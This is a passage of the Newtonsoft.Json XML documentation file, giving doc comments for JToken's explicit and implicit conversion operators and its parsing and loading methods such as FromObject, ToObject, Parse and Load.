cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt32}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt64}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Double\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Single\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Single\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.String\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt32\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt64\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Byte[]\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Guid\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Guid\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Guid}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> .\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.TimeSpan\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.TimeSpan\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.TimeSpan}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Uri\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Uri\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Boolean)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Boolean\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Byte)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Byte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Byte})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.SByte)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.SByte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.SByte})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Boolean})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int64)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.DateTime})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Decimal})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Double})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int16)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Int16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt16)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Int32)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Int32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int32})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.DateTime)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.DateTime\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int64})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Single})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Decimal)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Decimal\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Int16})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt16})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt32})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.UInt64})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Double)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Double\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Single)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Single\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.String)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.String\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt32)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt32\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.UInt64)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.UInt64\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Byte[])~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Byte\"/>[] to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Uri)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Uri\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.TimeSpan)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.TimeSpan\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.TimeSpan})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Guid)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Guid\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Guid})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.CreateReader\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.JsonReader\"/> for this token.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that can be used to read this token and its descendants.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the value of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from an object using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when reading the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the value of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The object type that the token will be deserialized to.</typeparam>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject(System.Type)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"objectType\">The object type that the token will be deserialized to.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1(Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <typeparam name=\"T\">The object type that the token will be deserialized to.</typeparam>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when creating the object.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject(System.Type,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <param name=\"objectType\">The object type that the token will be deserialized to.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when creating the object.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFrom(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFrom(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> populated from the string that contains JSON.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> populated from the string that contains JSON.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to 